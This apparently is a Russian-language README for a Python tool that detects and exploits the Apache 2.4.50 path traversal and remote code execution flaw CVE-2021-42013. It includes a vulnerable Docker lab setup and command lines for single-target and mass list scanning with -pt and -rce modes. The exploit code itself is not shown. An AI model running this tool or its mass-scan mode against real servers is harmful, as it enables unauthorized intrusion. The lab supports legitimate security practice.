bananoname/cve-2021-42013Python-скрипт для обнаружения и эксплуатации обхода пути и удаленного выполнения кода в Apache 2.4.50 (CVE-2021-42013), с массовым сканированием и Docker-лабораторией для практики.
CVE-2021-42013.py — это скрипт на Python, который поможет найти уязвимость Path Traversal или удаленного выполнения кода в Apache 2.4.50. Предоставлен уязвимый экземпляр Docker, чтобы вы могли опробовать CVE-2021-42013
Если CGI-BIN включен, мы можем выполнить удаленный код, но не Path Traversal, поэтому в httpd.conf был добавлен каталог "icons" в раздел Alias для проверки уязвимости Path Traversal.
1. Включить CGI-BIN
2. Добавить каталог "icons" в раздел Alias
3. <Directory>Require all granted</Directory>
$ docker build -t cve-2021-42013 .
$ docker run -it cve-2021-42013
$ python3 cve-2021-42013.py -u http://172.17.0.2
$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt
$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce
$ python3 cve-2021-42013.py -l list.txt
$ python3 cve-2021-42013.py -l list.txt -pt
$ python3 cve-2021-42013.py -l list.txt -rce
Больше информации можно найти здесь.